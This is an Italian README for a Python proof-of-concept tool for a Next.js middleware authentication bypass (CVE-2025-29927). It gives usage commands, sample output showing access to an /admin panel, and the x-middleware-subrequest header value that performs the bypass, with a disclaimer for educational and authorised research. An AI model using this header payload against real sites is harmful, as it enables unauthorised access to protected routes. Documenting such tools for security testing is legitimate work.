
> 🔓 Proof-of-Concept per un bypass fittizio del middleware Next.js (CVE-2025-29927) — crea sotto-richieste per testare le route protette.
Questa è una proof-of-concept per una vulnerabilità fittizia di bypass del middleware di Next.js (CVE-2025-29927). Utilizzare solo per scopi educativi e ricerche di sicurezza autorizzate.
| Funzionalità | Descrizione |
|---|---|
| ✨ Colore e verbose | Output colorato; -v per log di debug dettagliati. |
| 📦 Struttura OOP | Design basato su classi per chiarezza e manutenibilità. |
| 🌐 Supporto Proxy | Instradare il traffico tramite proxy HTTP(S) con --proxy. |
| 🍪 Gestione Sessioni | requests.Session persistente per cookie e riutilizzo connessioni. |
| 🚦 Controllo Redirect | Nessun follow-redirect per default; rileva chiaramente pass vs fail. |
| 🛠 Header Personalizzati | Sovrascrivi User-Agent, x-middleware-subrequest, o aggiungi header. |
# Clone repository
git clone https://github.com/your-username/nextjs-middleware-poc.git
cd nextjs-middleware-poc
# (Optional) Create virtual environment
python3 -m venv .venv
source .venv/bin/activate
# Install dependencies
pip install -r requirements.txt
Richiede Python 3.7+
python poc.py [options] <host>[:port]
python poc.py localhost:3000
python poc.py example.com -s https -p /dashboard
python poc.py internal-app:8080 --proxy http://127.0.0.1:8080 -v
Successo
[*] Target URL: http://localhost:3000/admin
[+] SUCCESS: Middleware bypassed — access granted!
--- Response Snippet ---
<!DOCTYPE html><html>…<title>Admin Panel</title>…
Fallimento
[*] Target URL: http://localhost:3000/admin
[-] FAIL: Access denied by middleware (302 Redirect)
| Opzione | Descrizione |
|---|
-p, --path PATH | Percorso della route protetta (default: /admin) |
-s, --scheme {http,https} | Protocollo (default: http) |
--header HEADER | Valore dell'header x-middleware-subrequest (default: middleware:middleware) |
-ua, --user-agent AGENT | User-Agent personalizzato (default: Mozilla/5.0) |
--proxy PROXY | URL proxy HTTP(S) (es. http://127.0.0.1:8080) |
-v, --verbose | Abilita output di debug |
-h, --help | Mostra questo messaggio di aiuto |